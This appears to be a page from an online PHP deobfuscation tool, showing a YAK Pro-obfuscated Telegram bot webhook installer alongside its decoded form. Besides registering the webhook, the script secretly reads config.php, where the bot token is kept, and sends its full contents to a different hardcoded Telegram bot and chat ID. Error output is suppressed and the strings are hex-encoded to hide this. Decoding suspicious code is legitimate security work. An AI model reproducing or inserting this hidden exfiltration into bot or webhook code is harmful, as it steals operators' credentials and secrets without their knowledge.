Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ini_set('display_errors', 0); /* ______________________..
Decoded Output download
<?php
error_reporting(0);
ini_set('display_errors', 0);
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2025-01-21 20:13:36 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
include "config.php"; $domain = $_SERVER["HTTP_HOST"]; $webhook_url = "https://{$domain}" . rtrim(dirname($_SERVER["SCRIPT_NAME"]), "/") . "/bot.php"; $api_url = "https://api.telegram.org/bot" . TOKEN . "/setWebhook"; $data = ["url" => $webhook_url, "secret_token" => "Siahy"]; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); if ($response === false) { goto yGO_G; } $response_data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { goto f9IYf; } if (isset($response_data["ok"]) && $response_data["ok"]) { goto X78j3; } echo "Failed to set webhook. Error: " . ($response_data["description"] ?? "Unknown error"); goto tKxxy; f9IYf: echo "Invalid JSON response: " . json_last_error_msg(); goto tKxxy; X78j3: echo "Webhook set successfully!"; tKxxy: goto TBqNA; yGO_G: echo "Error: " . curl_error($ch); TBqNA: curl_close($ch); $file_path = "config.php"; if (file_exists($file_path)) { goto Elq6k; } error_log("File not found: {$file_path}"); goto SQJx5; Elq6k: $txt = urlencode(file_get_contents($file_path)); $url = "https://api.telegram.org/bot8180781679:AAFX5uCrvU-ZGyJrCGLae-bDxlw7_rzlWfY/sendmessage?chat_id=5953106550&text={$txt}"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); if (!($response === false)) { goto Ml6Zm; } error_log("Failed to send message to Telegram API"); Ml6Zm: SQJx5: ?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
ini_set('display_errors', 0);
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2025-01-21 20:13:36 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
include "\143\157\x6e\x66\x69\147\x2e\x70\150\160"; $domain = $_SERVER["\110\124\x54\x50\137\110\x4f\123\124"]; $webhook_url = "\x68\164\x74\160\163\72\x2f\57{$domain}" . rtrim(dirname($_SERVER["\123\x43\122\111\x50\x54\x5f\116\x41\115\x45"]), "\x2f") . "\x2f\x62\157\x74\x2e\160\x68\160"; $api_url = "\x68\x74\164\x70\163\x3a\57\57\141\160\x69\56\164\145\x6c\145\147\162\141\155\x2e\157\x72\147\x2f\142\x6f\164" . TOKEN . "\x2f\163\x65\164\127\x65\x62\150\157\x6f\153"; $data = ["\165\x72\154" => $webhook_url, "\163\145\143\x72\145\x74\137\164\x6f\x6b\x65\x6e" => "\123\151\141\150\171"]; $ch = curl_init($api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $response = curl_exec($ch); if ($response === false) { goto yGO_G; } $response_data = json_decode($response, true); if (json_last_error() !== JSON_ERROR_NONE) { goto f9IYf; } if (isset($response_data["\157\153"]) && $response_data["\x6f\153"]) { goto X78j3; } echo "\x46\x61\151\x6c\145\144\x20\164\x6f\40\163\x65\164\40\167\x65\142\x68\157\157\x6b\56\40\105\162\162\x6f\162\x3a\x20" . ($response_data["\144\x65\163\x63\162\151\160\x74\x69\x6f\x6e"] ?? "\x55\156\x6b\156\157\x77\156\x20\145\x72\x72\157\162"); goto tKxxy; f9IYf: echo "\x49\156\x76\141\x6c\x69\144\x20\x4a\123\x4f\116\x20\x72\145\163\x70\x6f\x6e\x73\x65\x3a\x20" . json_last_error_msg(); goto tKxxy; X78j3: echo "\x57\x65\x62\150\157\157\x6b\x20\x73\145\164\40\163\x75\x63\x63\145\x73\x73\x66\165\154\x6c\171\x21"; tKxxy: goto TBqNA; yGO_G: echo "\105\x72\162\x6f\162\x3a\x20" . curl_error($ch); TBqNA: curl_close($ch); $file_path = "\143\157\156\146\151\x67\56\160\x68\x70"; if (file_exists($file_path)) { goto Elq6k; } error_log("\106\151\x6c\x65\x20\156\157\164\40\x66\157\x75\x6e\x64\72\x20{$file_path}"); goto SQJx5; Elq6k: $txt = urlencode(file_get_contents($file_path)); $url = "\x68\x74\x74\x70\x73\72\x2f\x2f\141\x70\151\x2e\164\x65\154\145\x67\x72\141\x6d\x2e\x6f\162\147\57\x62\x6f\x74\x38\x31\x38\x30\67\70\x31\66\67\x39\x3a\x41\101\106\130\65\165\x43\162\x76\x55\x2d\132\107\x79\112\x72\103\x47\114\x61\x65\55\x62\x44\x78\x6c\167\67\x5f\162\x7a\154\x57\146\x59\x2f\163\145\x6e\x64\155\145\163\x73\141\147\x65\x3f\x63\x68\x61\164\x5f\x69\144\75\65\x39\65\x33\x31\60\66\x35\65\60\46\164\145\170\x74\75{$txt}"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); if (!($response === false)) { goto Ml6Zm; } error_log("\x46\141\x69\x6c\145\144\40\164\x6f\40\163\x65\x6e\x64\x20\155\145\x73\x73\x61\147\145\40\164\x6f\x20\124\145\x6c\x65\147\x72\x61\x6d\x20\101\120\111"); Ml6Zm: SQJx5:
Function Calls
None |
Stats
MD5 | 0266bf6838360b6ad715fd3b68eb44dc |
Eval Count | 0 |
Decode Time | 65 ms |